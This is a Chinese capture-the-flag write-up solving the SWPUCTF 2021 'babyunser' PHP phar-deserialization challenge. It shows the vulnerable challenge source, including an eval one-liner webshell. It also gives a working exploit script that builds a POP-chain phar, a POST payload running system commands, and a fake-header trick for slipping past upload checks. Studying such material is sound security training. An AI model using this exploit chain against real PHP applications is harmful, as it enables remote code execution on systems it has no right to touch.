新手大白话 [SWPUCTF 2021 新生赛]babyunser phar反序列化
进入赛题网站第一眼以为是文件上传,尝试没效果,看题目标签为phar反序列化,这类也就是文件包含php伪协议的一种,实质上就是上传phar文件,利用网页给予的文件读取页面利用phar伪协议进行读取来触发一句话木马,好现在开始做题。(一点也不新生)
利用查看文件来收集信息,查看read.php
点击查看代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>aa的文件查看器</title>
<style>
.search_form{
width:602px;
height:42px;
}
/*左边输入框设置样式*/
.input_text{
width:400px;
height: 40px;
border:1px solid green;
/*清除掉默认的padding*/
padding:0px;
/*提示字首行缩进*/
text-indent: 10px;
/*去掉蓝色高亮框*/
outline: none;
/*用浮动解决内联元素错位及小间距的问题*/
float:left;
}
.input_sub{
width:100px;
height: 42px;
background: green;
text-align:center;
/*去掉submit按钮默认边框*/
border:0px;
/*改成右浮动也是可以的*/
float:left;
color:white;/*搜索的字体颜色为白色*/
cursor:pointer;/*鼠标变为小手*/
}
.file_content{
width:500px;
height: 242px;
}
</style>
</head>
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
点击查看代码
<?php
class aa{
public $name; // zz
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name); // 触发__tostring
}
}
class ff{
private $content;
public $func; //system
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']); // 一眼注入点,可以利用system
}
}
class zz{
public $filename; // ff
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var; // 触发ff的__get
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']); // method=write 触发类中的write方法
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
点击查看代码
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func="system";
public function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a=new aa();
$a->name=new zz();
$a->name->filename=new ff();
$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
点击查看代码
post: file=XXXXXXXX(你的文件路径)&method=write&var=content&cmd=ls
点击查看代码
a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。 开头的xxx就是可以构造虚假文件头进行检测绕过,例GIF89a
manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
contents是被压缩的内容。
signature签名,放在文件末尾。